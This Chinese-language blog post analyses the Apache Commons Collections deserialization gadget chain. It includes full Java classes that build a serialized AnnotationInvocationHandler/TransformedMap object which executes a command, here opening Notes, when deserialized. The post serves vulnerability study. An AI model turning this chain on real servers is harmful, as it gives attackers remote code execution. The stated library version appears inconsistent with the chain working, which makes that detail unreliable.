使用Java反序列化的场景 breenmachine在foxglovesecurity analysis 中列出了以下会使用Java反序列化的场景。Java loves sending serialized objects all over the place. For example:
In Http requests - Parameters, ViewState, Cookies, you name it.
RMI - The extensively used Java RMI protocol is 100% based on serialization.
RMI over HTTP - Many Java thick client web apps use this - again 100% serialized objects.
JMX - Again, relies on serialized objects being shot over the wire.
Custom Protocols - Sending an receiving raw Java objects is the norm - which we’ll see in some of the exploits to come.
可能存在Java反序列化漏洞的场景 Java中间件通常通过网络接收客户端发送的序列化数据,Java中间件在对序列化数据进行反序列化数据时,会调用被序列化对象的readObject()
。如果某个对象的readObject()
中能够执行任意代码,那么Java中间件在对其进行反序列化时,也会执行对应的代码。如果能够找到满足上述条件的对象进行序列化并发送给Java中间件,Java中间件也会执行指定的代码,即存在反序列化漏洞。 Java反序列化漏洞需要满足两个条件: 1.Java中间件需要存在客户端进行序列化时使用的类,否则服务器在进行反序列化时会出现ClassNotFoundException异常; 2.客户端选择的进行序列化的类在执行代码时,不会进行任何验证或限制,会完全按照要求执行。 利用Java反序列化漏洞可使服务器执行任意代码,可以直接控制服务器。 本文中分析的是commons-collections-3.2.2.jar,JDK版本是1.8.
以下为利用org.apache.commons.collections.functors.ChainedTransformer
类执行任意代码的示例,当执行最后的chain.transform(chain);
后,会执行传入的Transformer
数组指定的代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package serialize;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;public class CTExec { public static void main (String args[]) { Transformer[] transformers_exec_note = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] {String.class, Class[].class}, new Object[] {"getRuntime" , new Class[0 ]}), new InvokerTransformer("invoke" , new Class[] {Object.class, Object[].class}, new Object[] {null , new Object[0 ]}), new InvokerTransformer("exec" , new Class[] {String.class}, new Object[] {"/usr/bin/open /Applications/Notes.app" }) }; Transformer chain = new ChainedTransformer(transformers_exec_note); chain.transform(chain); } }
在执行最后的chain.transform(chain);
方法时,会首先调用ConstantTransformer.transform()
获取其构造函数中传入的类,再依次调用InvokeTransformer.transform()
执行其构造函数中传入的方法,等价于上一篇文章 中”使用Java反射机制调用Runtime类执行程序”的那段代码。ConstantTransformer
类、InvokerTransformer
类和ChainedTransformer
类的相关代码如下。ConstantTransformer类的相关代码
ConstantTransformer
类的transform()
会返回构造函数传入的参数。
1 2 3 4 5 6 7 8 9 10 public class ConstantTransformer implements Transfomer , Serializable { private final Object iConstant; public ConstantTransformer (Object constantToReturn) { this .iConstant = constantToReturn; } public Object transform (Object input) { return this .iConstant; } ... }
InvokerTransformer类的相关代码
InvokerTransformer
类的transform()
可以通过Java反射机制执行指定的代码,能指定所需执行的类、方法及参数,且在transform()
中未进行任何验证或限制。transform()
中执行的代码的方法名、参数类型及参数值在InvokerTransformer
类的构造函数中指定。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public class InvokerTransformer implements Transformer , Serializable { private final String iMethodName; private final Class[] iParamTypes; private final Object[] iArgs; public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { this .iMethodName = methodName; this .iParamTypes = paramTypes; this .iArgs = args; } public Object transform (Object input) { if (input == null ) return null ; try { Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs); } ... } }
ChainedTransformer类的相关代码
ChainedTransformer
类的带参数构造函数中,会将参数中的ConstantTransformer
与InvokeTransformer
数组保存为this.iTransformers
对象。在ChainedTransformer
类的transform()
中,会依次调用this.iTransformers
对应的ConstantTransformer
与InvokerTransformer
数组的transform()
,且前一次执行transform()
的返回值object,会作为下一次执行transform()
的参数object。
1 2 3 4 5 6 7 8 9 10 11 12 13 public class ChainedTransformer implements Transformer , Serializable { public ChainedTransformer (Transformer[] transformers) { this .iTransformers = transformers; } ... public Object transform (Object object) { for (int i = 0 ; i < this .iTransformers.length; ++i) { object = this .iTransformers[i].transform(object); } return object; } ... }
以下为通过org.apache.commons.collections.map.TransformedMap
类执行任意代码的示例,当执行最后的localEntry.setValue(null);
后,会执行Transformer
数组里的代码链。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 package serialize;import java.util.HashMap;import java.util.Iterator;import java.util.Map;import java.util.Set;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;public class TMExec { static void main (String args[]) { Transformer[] transformer_exec_note = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] {String.class, Class[].class}, new Object[] {"getRuntime" , new Class[0 ]}), new InvokerTransformer("invoke" , new Class[] {Object.class, Object[].class}, new Object[] {null , new Object[0 ]}), new InvokerTransformer("exec" , new Class[] {String.class}, new Object[] {"/usr/bin/open /Applications/Notes.app" }) }; Transformer chain = new ChainedTransformer(transformer_exec_note); Map innerMap = new HashMap(); innerMap.put(null , null ); Map outerMap = TransformedMap.decorate(innerMap, null , chain); Set set = outerMap.entrySet(); Iterator localIterator = set.iterator(); Map.Entry localEntry = (Map.Entry) localIterator.next(); localEntry.setValue(null ); } }
org.apache.commons.collections.map.TransformedMap
类的继承关系如下:
1 2 3 4 org.apache.commons.collections.map.TransformedMap |-org.apache.commons.collections.map.AbstractInputCheckedMapDecorator |-org.apache.commons.collections.map.AbstractMapDecorator |-java.util.Map
调用TransformedMap类的decorate方法
TransformedMap
类的decorate()
中创建了TransformedMap
对象:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public class TransformedMap extends AbstractInputCheckedMapDecorator implement Serializable { protected final Transformer keyTransformer; protected final Transformer valueTransformer; public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; } ... }
调用AbstractInputCheckedMapDecorator类的entrySet方法
outerMap.entrySet()
调用了TransformedMap
类的父类AbstractInputCheckedMapDecorator
的entrySet()
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator { protected boolean isSetValueChecking () { return true ; } public Set entrySet () { if (isSetValueChecking()) { return new EntrySet(this .map.entrySet(), this ); } return this .map.entrySet(); } ... static class EntrySet extends AbstractSetDecorator { private final AbstractInputCheckedMapDecorator parent; protected EntrySet (Set set, AbstractInputCheckedMapDecorator parent) { super (set); this .parent = parent; } ... } }
调用AbstractInputCheckedMapDecorator$EntrySet类的iterator()
set.iterator()
调用了AbstractInputCheckedMapDecorator$iterator
类的iterator()
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator { static class EntrySet extends AbstractSetDecorator { private final AbstractInputCheckedMapDecorator parent; public Iterator iterator () { return new AbstractInputCheckedMapDecorator.EntrySetIterator( this .collection.iterator(), this .parent); } ... } static class EntrySetIterator extends AbstractInputCheckedMapDecorator { private final AbstractInputCheckedMapDecorator parent; protected EntrySetIterator (Iterator iterator, AbstractInputCheckedMapDecorator parent) { super (iterator); this .parent = parent; } ... } ... }
调用AbstractInputCheckedMapDecorator$EntrySetIterator类的next()
localIterator.next()
调用了AbstractInputCheckedMapDecorator$EntrySetIterator
类的next()
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator { static class EntrySetIterator extends AbstractIteratorDecorator { private final AbstractInputCheckedMapDecorator parent; public Object next () { Map.Entry entry = (Map.Entry) this .iterator.next(); return new AbstractInputCheckedMapDecorator.MapEntry(entry, this .parent); } ... } ... static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry (Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super (entry); this .parent = parent; } ... } }
调用AbstractInputCheckedMapDecorator$MapEntry类的setValue()
localEntry.setValue(null)
调用了AbstractInputCheckedMapDecorator$MapEntry类的setValue()
。
1 2 3 4 5 6 7 8 9 10 abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator { static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; public Object setValue (Object value) { value = this .parent.checkSetValue(value); return this .entry.setValue(value); } ... } }
TransformedMap
类的checkSetValue()
中,会调用this.valueTransformer.transform()
。
1 2 3 4 5 6 public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable { protected Object checkSetValue (Object value) { return this .valueTransformer.transform(value); } ... }
综上所述,上述示例代码执行localEntry.setValue(null);
时,会执行ConstantTransformer
与InvokerTransformer
数组中的代码链。 在代码执行完localIterator.next()
后,执行localEntry.getKey()
与localEntry.getValue()
可获取示例代码中通过innerMap.put()
添加的键值对。
目前的构造还依赖于触发Map
中某一项去调用setValue()
,需要想办法通过readObject()
直接触发。发现sun.reflect.annotation.AnnotationInvocationHandler
类提供了方法接收Map
对象,且在readObject()
中会调用Map
对象的Entry的setValue()
。 以下为通过TransformedMap
与AnnotationInvocationHandler
类执行任意代码的示例,在执行ois.readObject();
后,会执行Transformer数组中的代码链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 package serialize;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.util.HashMap;import java.util.Map;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;public class AIHExec { static void main (String args[]) throws ClassNotFoundException, NoSuchMethodException, SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException { Transformer[] transformer_exec_note = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] {String.class, Class[].class}, new Object[] {"getRuntime" , new Class[0 ]}), new InvokerTransformer("invoke" , new Class[] {Object.class, Object[].class}, new Object[] {null , new Object[0 ]}), new InvokerTransformer("exec" , new Class[] {String.class}, new Object[] {"/usr/bin/open /Applications/Notes.app" }) }; Transformer chain = new ChainedTransformer(transformer_exec_note); Map innerMap = new HashMap(); innerMap.put("value" , "tttest" ); Map outerMap = TransformedMap.decorate(innerMap, null , chain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true ); Object instance = ctor.newInstance(Retention.class, outerMap); ByteArrayOutputStream byteOut = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(byteOut); out.writeObject(instance); out.flush(); out.close(); ByteArrayInputStream bais = new ByteArrayInputStream(byteOut.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); Object object = (Object) ois.readObject(); } }
在上述触发漏洞的示例代码中,会调用AnnotationInvocationHandler
类的带参数构造函数与readObject()
。AnnotationInvocationHandler
类的重要变量和方法如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 class AnnotationInvocationHandler implements InvocationHandler , Serializable { private final Class type; private final Map<String, ObjectmemberValues; ... AnnotationInvocationHandler(Class paramClass, Map<String, ObjectparamMap) { this .type = paramClass; this .memberValues = paramMap; } ... private void readObject (ObjectInputStream paramObjectInputStream) throws IOException, ClassNotFoundException { paramObjectInputStream.defaultReadObject(); AnnotationType localAnnotationType = null ; try { localAnnotationType = AnnotationType.getInstance(this .type); } catch (IllegalArgumentException localIllegalArgumentException) { return ; } Map localMap = localAnnotationType.memberTypes(); Iterator localIterator = this .memberValues.entrySet().iterator(); while (localIterator.hasNext()) { Map.Entry localEntry = (Map.Entry) localIterator.next(); String str = (String) localEntry.getKey(); Class localClass = (Class) localMap.get(str); if (localClass != null ) { Object localObject = localEntry.getValue(); if ((!(localClass.isInstance(localObject))) && (!(localObject instanceof ExceptionProxy))) localEntry.setValue(new AnnotationTypeMismatchExceptionProxy( localObject.getClass() + "[" + localObject + "]" ) .setMember((Method) localAnnotationType .members().get(str))); } } } ... }
这篇文章介绍了Java反序列化漏洞利用的过程,后面还会对实际利用和检测进行介绍。补充: 本来还想继续深入了解一下Java的反序列化漏洞,比如Java中间件中的反序列化漏洞利用,但是看到CVE-2014-7911,发现Android中的反序列化和Java中的好像还不太一样,Android中的反序列化是反序列化了一个不可序列化的对象,在反序列化时发生了类型混淆,导致成员变量被当做成员函数调用。具体细节后面会写文章进行介绍。reference JAVA反序列化漏洞完整过程分析与调试 Lib之过?Java反序列化漏洞通用利用分析